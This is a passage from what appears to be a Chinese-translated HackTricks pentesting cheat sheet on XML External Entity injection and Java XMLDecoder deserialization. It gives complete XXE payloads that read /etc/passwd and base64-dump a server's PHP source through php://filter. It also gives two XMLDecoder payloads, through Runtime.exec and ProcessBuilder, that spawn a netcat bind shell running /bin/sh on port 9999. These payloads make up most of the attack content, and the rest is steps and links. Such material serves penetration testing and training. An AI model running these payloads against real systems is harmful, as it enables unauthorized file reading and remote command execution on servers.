</channel>
</rss>
读取文件
To read a file using XML External Entity (XXE) injection, you can leverage the ability of XML parsers to process external entities. By injecting a malicious XML payload, you can force the parser to read arbitrary files from the server's filesystem.
要使用XML外部实体(XXE)注入来读取文件,您可以利用XML解析器处理外部实体的能力。通过注入恶意的XML有效负载,您可以强制解析器从服务器的文件系统中读取任意文件。
The basic steps to perform this attack are as follows:
执行此攻击的基本步骤如下:
-
Identify the vulnerable input: Look for XML input fields or parameters that are processed by an XML parser.
-
确定易受攻击的输入:查找由XML解析器处理的XML输入字段或参数。
-
Craft a malicious XML payload: Create an XML payload that includes an external entity declaration pointing to the file you want to read.
-
构造恶意的XML有效负载:创建一个包含指向要读取的文件的外部实体声明的XML有效负载。
-
Submit the payload: Inject the payload into the vulnerable input and submit the request.
-
提交有效负载:将有效负载注入到易受攻击的输入中并提交请求。
-
Check the response: If the server is vulnerable to XXE, the response may contain the contents of the file you requested.
-
检查响应:如果服务器易受XXE攻击,响应可能包含您请求的文件的内容。
Keep in mind that XXE attacks can have serious consequences, such as reading sensitive files, performing server-side request forgery (SSRF), or even remote code execution. Always ensure that you have proper authorization and permission before attempting any XXE attack.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
读取源代码
使用PHP的base64过滤器
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder是一个Java类,它根据XML消息创建对象。如果恶意用户可以让应用程序在调用readObject方法时使用任意数据,他将立即在服务器上获得代码执行权限。
使用Runtime().exec()函数
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
ProcessBuilder是一个Java类,用于创建和管理外部进程。它允许您执行系统命令并与其进行交互。在渗透测试中,ProcessBuilder可以用于执行各种命令,包括执行操作系统命令、运行脚本和执行其他可执行文件。
使用ProcessBuilder,您可以指定要执行的命令和参数,并设置其他选项,如工作目录、环境变量和输入/输出流。这使得您可以完全控制外部进程的执行和交互。
以下是使用ProcessBuilder执行命令的示例:
ProcessBuilder processBuilder = new ProcessBuilder("command", "arg1", "arg2");
processBuilder.directory(new File("working_directory"));
processBuilder.environment().put("key", "value");
Process process = processBuilder.start();
在上面的示例中,您可以将"command"替换为要执行的实际命令,"arg1"和"arg2"替换为命令的参数。您还可以使用directory
方法设置工作目录,使用environment
方法设置环境变量。
一旦您创建了ProcessBuilder对象并设置了所有选项,您可以使用start
方法启动外部进程。然后,您可以使用Process
对象与进程进行交互,例如读取其输出或向其输入写入数据。
请注意,使用ProcessBuilder执行外部命令时,要格外小心,确保输入的命令和参数是可信的,以防止命令注入等安全问题。
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
工具
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
更多资源
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
通过使用自己的外部 DTD 从 HTTP 提取信息: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个 网络安全公司 工作吗?你想在 HackTricks 中看到你的 公司广告 吗?或者你想获得 PEASS 的最新版本或下载 HackTricks 的 PDF 吗?请查看 SUBSCRIPTION PLANS!
- 发现我们的独家 NFTs 集合 The PEASS Family
- 获取 官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 telegram 群组 或 关注 我的 Twitter 🐦@carlospolopm.
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。